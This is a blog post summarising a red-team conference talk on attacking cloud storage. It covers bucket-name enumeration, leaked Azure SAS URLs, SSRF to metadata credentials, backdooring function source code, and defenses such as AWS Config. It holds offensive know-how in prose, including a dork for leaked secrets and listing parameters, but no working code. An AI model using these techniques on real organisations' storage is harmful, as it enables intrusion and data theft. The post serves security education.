As part of HITB Cyber Week Dubai, I presented a Talk at Red Team Village

Slides

Video

AI Generated Summary

This talk from HITB Cyber Week Dubai Red Team Village focuses on attacking cloud storage services, which the speaker describes as “the linchpin of cloud services” - a critical component that, when compromised, can lead to massive damage to organizations.

Speaker Background

• Anant Shrivastava: Technical Director at NotSoSecure Global Services
• Experience: System administration, development, and security (all shades of IT)
• Open Source Projects: Project owner for Hacking Archives of India, Android Tamer, Code Vigilant
• Communities: NULL, Grudge for Hackers, Red Team Village, multiple open source communities
• Handle: @anantshri (across social media platforms)

Key Topics Discussed

Cloud Storage Overview:

• Top vendors: AWS S3 buckets, Azure Storage, GCP Storage, and other vendors providing different storage solutions
• Expanded purview: SharePoint, OneDrive, Dropbox, Google Drive, AWS CodeCommit, code repositories like GitHub, Bitbucket - all essentially storage services
• What they store: Files, documents, source code, transient objects, SSH keys, various secrets
• Linchpin concept: Cloud storage is the linchpin (anchor) for cloud services
• External disk analogy: Consider cloud storage as external disk connected to laptop - that’s how it operates
• Decoupled data storage: Large gamut of cloud services offered because they have decoupled data storage
• Almost all cloud services: Rely on cloud storage
• Function as a Service/Platform as a Service: Don’t even have source code in specific system - source code actually stored in storage container, reused when need to spin up another version of application or function
• Secret storage: And bunch of different functionalities besides just file storage are part of cloud data store
• Central key piece: When cloud storage keeping large gamut of information and large number of things, becomes central key piece for entire cloud offering
• Higher level access: If have higher level access over cloud storage, can do massive damage to organization, to environment

Real-World Attack Scenarios:

Amazon S3 Public Exposure:

• Old article: Highlights clearly how much damage happened because Amazon S3 services being publicly exposed
• Entries shown: All S3 buckets which were publicly available
• Organizations affected: Right from Bruce Allen Hamilton to WWE to Dow Jones - everyone had their S3 buckets open to public
• One year later study: Discovered that of all buckets in world (or at least in their study), 10% of buckets were public in nature
• Out of 10% public: 20% of them were world writable - anyone across world can actually write to those buckets
• Problem: Storage can be used for n number of purposes, but more importantly person had access to store data in there or remove data from there

HackerOne Case Study (2016):

• Security firm: HackerOne (firm which manages bug bounties for different organizations) had their S3 bucket writable by any authenticated user
• Authenticated user: Comes down to integrities of what authenticated user means, but effectively anyone logged in on AWS was allowed to write inside S3 bucket
• Report public: Linked there
• Bucket not allowing read access: But possible to put files inside it
• Further leveraged: For social engineering purposes - “Hey I uploaded document in location” or “Hey do you see XYZ document in certain location, can you open it?” - then all social engineering based attacks can follow

Rocket Chat Case Study:

• Chat application: Rocket Chat had installer referencing to S3 bucket which was not registered
• Ethical hacker: Actually claimed that S3 bucket, able to plant entries inside it
• Result: When installer executed, get error message
• Ethical approach: Reported, fixed, moved on
• If someone wanted damage: This is where damage could have been possible - anyone running Rocket Chat installer would probably give sudo passwords because trying to install something, need to provide higher level access so execution can be done

Linux Vendor Firmware Service (LVFS) Case Study:

• Linux problem: Firmware vendors not providing updates
• Solution: Firmware vendors came up with approach called LVFS (Linux Vendor Firmware Service)
• Binary fwupd: Runs on all systems, periodically checks whether firmware update available, if available shows update and can install
• Similar scenario: Referencing to S3 bucket which was not claimed (maybe deleted before researcher came into picture, or never claimed at first place)
• Claimed bucket: However there was one more step - if provide update via S3 bucket, update has to be PGP signed so fwupd will accept it as valid update
• PGP signature bypass: Found PGP signature bypass vulnerability
• Combining two: Had access to bucket for 26 days
• Impact: 2.5 million update requests with 500,000 unique IP addresses
• Potential impact: Could have been possible just because storage was not claimed and someone else able to claim it

Responsibility Distribution:

• PISA as a Service 2.0: Diagram outlines how different environments differ from traditional on-premise to IaaS to CaaS to PaaS to FaaS to SaaS
• Key ingredient: No matter which area talk about, configuration is something will have to bring to table all the time
• Translates to: In current/cloud environment, Identity and Access Management and data is always going to be tenant responsibility
• Major problem: That’s where major problem is

Attack Methodology:

• Simple methodology: Enumerate and gather information → identify vulnerabilities → exploit them → post exploitation (may end up pivoting) → if do post exploitation/pivoting, back at step one (now in new environment, again enumerate, gather information, keep going through loops)

Enumeration Techniques:

Storage Names are Unique:

• Unique for whole service provider: If claimed bucket called “anant” in one region, entirety of cloud service provider cannot allocate that name to any other tenant
• Names unique: What that means is organizations need to find unique name they can register
• How it works: In most situations, organizations going to append their name, nickname, or unique characters as bucket name
• Example: If bucket supposed to be “assets” and bucket supposed to be “secrets”, will become “example-assets”, “example-secrets” (assuming “example” is company name)
• Even though unique: Even though everyone can claim whatever name want to claim, first approach is organization would append or prepend names in bucket name
• For attacker makes predictable: Can have list of words, append them or prepend them to keyword, then able to brute force them

Tools:

• N number of tools: Available around this scenario
• Cover one or two: But they keep changing because nowadays people like to build tools (good thing), everyone wants to write own tools, end up having large number of variations and options
• Two URLs: Pointing to Awesome Asset Discovery list that Red Hat Lab maintains
• Two sections: Cloud infrastructure discovery and domain/subdomain discovery - both can help find various buckets
• Buckets: Could either be directly accessed via vendor-specific URLs or could be CNAME aliased to domain - in both situations, tools/two lists provided would be able to find those buckets

Cloud Enum Tool:

• Definitely like to mention: Tool called Cloud Enum
• Exactly does: What talked about - takes keyword, builds mutation list (contains various keywords appended/prepended), checks at all service providers (top service providers - Azure, Google, AWS)
• Another layer: If finds storage in Azure, also looks for what could be container name; if finds storage in any service provider, going to try and see if can be accessed as open bucket
• Messages: “Open S3 bucket”, “Open Google bucket” were messages provided by tool - “Hey for this keyword you have provided, there are buckets which are open, here are files within those buckets”

AWS Bucket Access:

• Generally accessible as: s3.amazonaws.com/bucket-name or bucket-name.s3.amazonaws.com
• With these URLs: Can perform recon because give different error messages
• REST style URLs: One key ingredient need is region keyword
• Need right region: Then only can access buckets
• Error messages give regions: For example, first call made to s3.amazonaws.com and bucket name - said “Bucket you are attempting to access must be addressed using specified endpoint” and ended message
• Next one: s3.any-random-region (kept us-west-2) - responded back “Bucket you are attempting to access must be addressed using specific endpoint” and listed endpoint, correct region
• Bucket belonged: To us-east-2, so now know exact region of bucket and can access it

Other Avenues:

• Cloud bucket URL scraper: Cloud scraper tool looks at website, scans through entirety of website HTML code, tries to identify various places where might be making calls to cloud storage entry, lists out those
• Gray Hat Warfare: Basically big search engine for Amazon public buckets
• Good old Google Dorks: Can do search for s3.amazonaws.com or core.windows.net (AWS buckets, Azure buckets)
• Example search: Done clear search looking for S3 buckets in whatever region with keyword “aws_secret” inside it - got 102 results (some dummy data, some not expecting, but some most definitely validated keys, can lead to exploitation)
• Add more keywords: In Google dorks, focus attack on one specific client if want

Vulnerability Identification and Exploitation:

Focus Areas:

• Remember responsibility matrix: Two things tenant always have to take care of - data and access permissions
• Exactly area: Should be focusing on
• If bucket has: Anonymous access granted (public for all), or misconfigured right access (example: authenticated user allowed), or IAM rules/policies giving access to data which should not have been possible

Azure SAS URL Exploitation:

• SAS URL concept: Storage Access URLs allow access to specific storage with certain set of permissions
• Very popular method: Among Azure users/developers to share bucket data or specific files within bucket
• Example URL: Has multiple keywords highlighted in bold
• Big blog post: Around exploiting leaked Azure storage keys - table taken from that blog post, identified and outlined what each parameter meant
• Three parameters very important: srt (what kind of services allowed), sp (level of permission), expiry date
• Very popular among developers: Example - 64,479 hits for “default endpoints protocol” keyword on GitHub alone
• If have access: To URL like that, can use Microsoft Azure Storage Explorer, pick option “Use a shared access signature or SAS URL”, provide URL (will autofill all other ingredients)
• If don’t want: Use Azure Storage Explorer, can do things manually
• Azure storage: Want to access
• If want listing: Of what inside container, can do parameter restype=container&comp=list
• If want access file: Can just do container name and file name
• Has to be in conjunction: With other parameters listed (sv, ss, srt, sp, se, sig - all would remain as is)
• Contrary to what people think: SAS URLs are container-level URLs or storage-level URLs, not URLs pointing to one specific resource
• Even though URL pointing: To JPG file or PNG file, same URL with same signature would give access to entire storage
• What did: Found Azure storage SAS URL, once got access to URL, loaded into Azure Storage Explorer, able to see all assets
• What found: Within same container, within same storage, there was another container keeping source code for Azure function, SAS URL created gave write access
• How attacked: Able to download source code, able to plant backdoor inside source code, in next invocation of Azure function when copy of source code taken from bucket, backdoor then executed in function namespace
• Different level of access: Because able to plant backdoor within Azure storage
• Very detailed blog post: Available here

Post-Exploitation - What Can Be Done:

• Got access to data: What can be done?
• One example: Very clear example - done it times against Function as a Service or Platform as a Service
• If have application source code level access: Can plant backdoor inside it, backdoor would then allow access to data
• Sensitive data in bucket: Could be way more than company valuation might be
• Can find: Secrets such as passwords or keys within buckets, or may end up just getting office documents
• Even if that case: Can do credential harvesting - look at official documents to look for usernames, softwares used to generate these softwares or generate these documents
• FOCA: Specialized tool built for this purpose - load documents, will extract metadata, give final list
• If don’t have FOCA: (Windows only tool at this point), can use Unix utility available on Unix and Mac environment called ExifTool
• Handy nifty one-liners: Can look at DOCX, XLS, or PDFs, extract metadata from them

More Case Studies:

SSRF to EC2 Takeover:

• Started with: SSRF vulnerability on web application which gave access to metadata
• Within metadata: Able to extract security credentials
• Using credentials: Had access to various S3 buckets
• One bucket: Conveniently named as “pem-files” (keyword minus pem files)
• When looked inside: Found around 200 different public/private key pairs for different servers organization was running
• Clearly name tagged: With server names
• All had to do: Extract list of EC2 boxes, map names with PEM files, figure out which EC2 instance had higher level access role, gain access to box using PEM file
• Position: Able to create IAM colon star level user
• Did not document publicly: Because around same time Threat Stack came up with attack diagram which very nearly outlined exact same procedure (that’s what can refer)
• Flow: From SSRF to EC2 takeover and effectively AWS account takeover

Platform as a Service Exploitation:

• Initial vector: SSRF which gave access to S3 bucket
• S3 bucket hidden: From plain sight because not able to read list of S3 bucket names
• However: Predictability by which names formed for S3 buckets for Elastic Beanstalk - able to identify exact same naming pattern, able to access bucket
• Once access obtained: Had access to source code of Platform as a Service application running
• Able to plant backdoor: There was automated CI/CD pipeline around application
• Within few minutes: Actually had backdoor deployed on official website
• Documented: In blog post here
• Picked up by Summit Route: Discovered what found as naming pattern for Elastic Beanstalk was not only naming pattern - there were other places where similar naming pattern setup present, extracted all that out, listed in neat blog post

AWS Cognito:

• Service: Allows credentials
• Bunch of different things: Done in this
• Important keyword: When this research performed, had access to 2,500 identity pools
• Of those 2,500: Got access to 906 S3 buckets which had sensitive information
• Got access: To large number of buckets, but these 906 buckets were ones which had sensitive information inside it
• Relate: Storage environment had larger data pool, sensitive information very commonly stored inside these storage environments

Purpose of Case Studies:

• Perspective: Around how attacks could be mounted with regards to storage environment
• General idea: Target storage from onset, get access to storage, then do XYZ things
• However: Storage-based attack could be middle point also - may get access to environment, that opens up storage for you
• Because: All these various entities need to be stored in storage, storage and exploring storage becomes key component of attack going to plan on cloud environment

Defenses:

Cloud Vendor Perspective:

• Effectively what can do: Provide warnings and provide automation which if select, allow mitigate these problems

Tenant Responsibilities:

• Larger gamut: Tenant has larger gamut of responsibilities
• Identity and Access Management: Who needs to get access to bucket? Who does not need to get access?
• Ideally: Public access would not be required
• If not clear: Authenticated user is not setting want in almost 99.99% of scenarios
• Role access: Has to be either private or public - authenticated user level access provides no additional protection, no point picking that as access privilege
• Besides configuring: Need to be prepared from two points:
  1. Carefully recheck: All settings on periodic basis
  2. Be aware: Of limitations have (will come down to limitation parts in minute)

Vendor Point of View:

• Vendors doing bit: Like for example AWS giving warning when trying to create bucket
• By default: Not even allowing make it public - by default checked, buckets not allowed to be public by default
• However: People gently uncheck it or change settings later on without realizing what content available within bucket
• SAS URL: Can see big caution in Microsoft documentation saying “Hey this is critical entity, do not share it, do not use it as daily media of access, do not share with friends and family, this is critical”
• But: People don’t read or people don’t read right things at right time

AWS Config:

• Service provided by AWS: Started to come up with automated rules
• Particular rule: Runs every 24 hours or whenever configuration change happens, looks for S3 buckets, if there is public write access in them
• Once finds: Have options - can do automatic remediation, can do manual remediation
• Automatic remediation: Again has bunch of different options can try - could be removing public read/write access on bucket
• If bucket not supposed to be public: Was made public by error, automatically AWS Config will kick in, will stop bucket from going public

Validation:

• Periodic scans: Like Scout Suite, CSuite, bunch of other options there which will perform cloud-level audit
• Don’t have: One single tool which is storage-focused
• What need to do: Need to run auditing tools, look at storage dashboards within them (like in example S3 storage)

Be Prepared for the Inevitable:

• Almost all the time: Be prepared for inevitable
• What happens: When attack going on - very specific to blue teamers, people going to provide protections
• Need to be in these areas: Things aware of, others aware of; or things aware of, others not aware of
• Don’t want: To be in blind spot zone or unknown zone
• What mean: Talking about AWS Config few minutes earlier - AWS Config is tool which allows perform periodic checks on buckets
• What’s periodicity: When change happens, will it prevent bucket from going public or will it revert public bucket back to non-public?
• If going to revert: How many minutes going to take? What is minimum time? What is maximum time?
• If not aware: Of these values, may end up in situation where assume protections working but actually not working
• Bunch of ways: To do it
• Emerging tech/keyword: Coming up called “chaos engineering” - may want to apply that
• Effectively: When have prepared for disaster or when have prepared security measures, need to validate whether those measures actually kicking in or not
• Simulate hack: See reactions of system
• If reactions not up to mark: At which wanted them to be, go ahead and fine tune those, find out alternatives if need be, revalidate again

References:

• JSON Headaches: Has awesome Bug Hunter Methodology series (GitHub link) - lot of tools talked about or referenced all featured in this link
• Cloud Set Wiki: Something preparing (NotSoSecure preparing) - wiki very focused on cloud security, puts out links, references around cloud security

Key Insights:

• Cloud storage is linchpin of cloud services - critical component
• 10% of buckets public, 20% of those world writable
• Storage names are unique - makes them predictable for brute forcing
• SAS URLs are container-level, not file-level - can access entire storage
• SSRF can lead to metadata extraction, then storage access
• Source code in storage can be backdoored, deployed via CI/CD
• Identity and Access Management and data always tenant responsibility
• Need periodic validation of security measures
• Be aware of limitations - AWS Config periodicity, response times

Actionable Takeaways:

1. Cloud storage is critical - compromise can lead to massive damage
2. Storage names are predictable - organizations append company names
3. Use tools like Cloud Enum, cloud bucket URL scrapers, Google dorks
4. SAS URLs are container-level - can access entire storage
5. SSRF can lead to storage access via metadata
6. Source code in storage can be backdoored
7. Focus on IAM and data - always tenant responsibility
8. Periodic validation of security measures essential
9. Be aware of limitations - AWS Config periodicity, response times
10. Simulate attacks to validate protections actually work